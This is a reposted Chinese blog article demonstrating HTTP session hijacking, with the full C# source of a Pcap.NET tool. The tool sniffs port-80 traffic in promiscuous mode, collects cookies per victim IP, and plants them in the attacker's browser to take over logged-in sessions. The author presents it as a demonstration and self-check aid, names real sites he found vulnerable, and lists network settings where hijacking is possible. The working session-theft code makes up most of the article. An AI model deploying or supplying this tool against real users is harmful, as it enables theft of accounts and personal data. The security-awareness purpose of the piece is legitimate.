歡迎光臨
每天分享高質量文章

看完48秒動畫,讓你不敢再登入HTTP網站(附完整示例程式碼)

作者: 百寶門-SSO顧問

連結:https://www.cnblogs.com/baibaomen/p/http-session-hijack.html

按作者版權要求註明來源等資訊


在我的 單點登入SSO示例程式碼(http://www.cnblogs.com/baibaomen/p/sso-full-code.html) 一文中,強烈不建議部署HTTP的SSO服務站點。


在此寫個基於網路包嗅探的HTTP會話劫持程式,給大家一個直觀的危害性展示。


示例中,我在一臺Mac上登入58同城,被另一臺Windows上的程式劫持。“駭客”檢視我的資訊暢行無阻,還順手改了我的頭像。


先直接上演示動畫吧,48秒:

58同城的使用者登入是採用了HTTPS的,仍然逃不過會話劫持。大部分較規範的網站,都是類似樣式:登入採用HTTPS,主要流量走HTTP。


隨手測試發現,使用該樣式的站點,包括csdn、qq郵箱(是的它竟然還有http版的)等等,很多都未做到會話劫持免疫。部落格園其實也中招了,但它把敏感操作都放到了HTTPS,所以沒太多影響。


其實,對於用HTTP走流量、HTTPS走認證的站點,略施改造,是可以對會話劫持免疫的。各大網站可以自行下載我的程式自查是否存在缺陷,我可以提供針對性免疫補丁支援。

 

以下是該示例的主要程式碼,蠻簡單,取用了Pcap.NET元件,需要對應安裝WinPcap。基於該元件的網路資料包嗅探,只是做會話劫持的一種途徑,而且有應用侷限性,所以示例程式碼更多是一個演示程式而非駭客工具。下麵會具體講到。


想跟進最新程式碼的還請watch我github上原始碼:https://github.com/baibaomen/Baibaomen.HttpHijacker

using PcapDotNet.Core;
using PcapDotNet.Packets;
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace Baibaomen.HttpHijacker
{
    public partial class FormHijacker : Form
    {
        /// 

        /// 被嗅探到的各個裝置的cookie集合。
        /// 


        ConcurrentDictionary<string, ConcurrentDictionary<stringstring>> clientCookies = new ConcurrentDictionary<string, ConcurrentDictionary<stringstring>>();

        public FormHijacker()
        
{
            InitializeComponent();
        }

        private void FormHijacker_Load(object sender, EventArgs e)
        
{
            StartHijack();
        }

        public void StartHijack()
        
{
            Task.Run(delegate {
                IList allDevices = LivePacketDevice.AllLocalMachine;

                if (allDevices.Count == 0)
                {
                    MessageBox.Show(“未找到網絡卡。請確認已安裝WinPcap。”);
                    return;
                }

                foreach (var selectedDevice in allDevices)
                {
                    Task.Run(delegate
                    {
                        PacketCommunicator communicator =
                            selectedDevice.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000);
                        if (communicator.DataLink.Kind != DataLinkKind.Ethernet)
                        {
                            return;
                        }

                        using (BerkeleyPacketFilter filter = communicator.CreateFilter(“tcp and dst port 80”))
                        {
                            communicator.SetFilter(filter);
                        }
                        communicator.ReceivePackets(0, PacketHandler);
                    });
                }

                this.BeginInvoke(new EventHandler(delegate {
                    lbMsg.Text = “監聽已啟動”;
                }));
            });
        }

        private void PacketHandler(Packet packet)
        
{
            try
            {
                var sourceIP = packet.Ethernet.IpV4.Source.ToString();

                var http = packet?.Ethernet?.IpV4?.Tcp?.Http;
                if (http == null || http.Header == nullreturn;

                if (http.IsRequest && http.IsValid)
                {
                    String msg = http.Decode(Encoding.UTF8);

                    //只截獲網頁正文請求。
                    if (!string.IsNullOrEmpty(msg))
                    {
                        var lines = msg.Split(new string[] { 
 }, StringSplitOptions.RemoveEmptyEntries);
                        var host = lines.FirstOrDefault(x => x.StartsWith(“Host: “))?.Substring(“Host: “.Length);
                        var cookie = lines.FirstOrDefault(x => x.StartsWith(“Cookie: “))?.Substring(“Cookie: “.Length);

                        if (string.IsNullOrEmpty(host)) return;

                        if (!string.IsNullOrEmpty(cookie))
                        {
                            var cCookies = clientCookies.GetOrAdd(sourceIP, new ConcurrentDictionary<stringstring>());
                            cCookies.AddOrUpdate(host, cookie, (key, oldVal) => cookie);
                        }

                        if (msg.StartsWith(“GET “) && (msg.Contains(
Accept: text/html”
) || msg.Contains(
Accept: text/plain”
)))//篩除對資源檔案等的請求,讓資料更乾凈。
                        {
                            var pathAndQuery = lines[0].Substring(0, lines[0].LastIndexOf(” HTTP/”)).Substring(“GET “.Length);
                            this.BeginInvoke(new EventHandler(delegate {
                                lstSessions.Items.Insert(0$”{sourceIP} {DateTime.Now} http://{host + pathAndQuery});
                            }));
                        }
                    }
                }
            }
            catch//可能嗅探資料不完整,丟棄。
            {
            }
        }

        [DllImport(“wininet.dll”, CharSet = CharSet.Auto, SetLastError = true)]
        public static extern bool InternetSetCookie(string lpszUrlName, string lbszCookieName, string lpszCookieData);

        private void btnHijack_Click(object sender, EventArgs e)
        
{
            var selected = lstSessions.SelectedItem;

            if (selected == null)
            {
                MessageBox.Show(“請選擇待劫持會話”);
                return;
            }

            var segments = selected.ToString().Split(‘ ‘);
            var ip = segments[0];
            var url = segments[2];

            var cookies = clientCookies[ip];

            foreach (var domainCookie in cookies) //將cookie設定為瀏覽的cookie 
            {
                foreach (var item in domainCookie.Value.Split(‘;’))
                {
                    try
                    {
                        var name = item.Substring(0, item.IndexOf(‘=’)).Trim();
                        var value = item.Substring(item.IndexOf(‘=’) + 1);

                        InternetSetCookie(
                             “http://” + domainCookie.Key,
                             name,
                             value + “;expires=” + DateTime.UtcNow.AddMinutes(10).ToString(“R”));
                    }
                    catch { }//有不符合格式的資料。可能嗅探資料不完整,丟棄。
                }
            }

            if (lstSessions.SelectedItem != null)
            {
                Process.Start(“iexplore.exe”, url);
            }
        }

    }
}

會話劫持可以在發生在不少地方/途徑:


1、透過專門設定的路由器/交換機;所有Hub;同一臺物理機上的虛擬機器

2、所有上網代理

3、可被ARP攻擊的區域網絡

4、不安全的無線網路

5、網路運營商具備劫持能力。以前訪問http網站,常常能看到網路運營商註入的廣告,這說明它是在解析HTTP資料的


可見能夠發生會話劫持的場景比較廣。


本示例採用的是上述第一個途徑,該途徑有較大侷限性。這是因為,現在除了部分單位或學校還在用廉價的Hub,大部分是透過路由器、交換機接入網路的。對此只有在支援的裝置上特別配置並指定的機器,才能嗅探到其它機器的資料包。


對於同一臺物理機上的虛擬機器,因為它們對應一塊物理網絡卡,所以無需交換機、路由器上做設定,就能嗅探到彼此資料。使用虛擬機器環境是一個執行本示例的快捷途徑。


●編號708,輸入編號直達本文

●輸入m獲取文章目錄

推薦↓↓↓

 

Web開發

更多推薦18個技術類微信公眾號

涵蓋:程式人生、演演算法與資料結構、駭客技術與網路安全、大資料技術、前端開發、Java、Python、Web開發、安卓開發、iOS開發、C/C++、.NET、Linux、資料庫、運維等。

贊(0)

分享創造快樂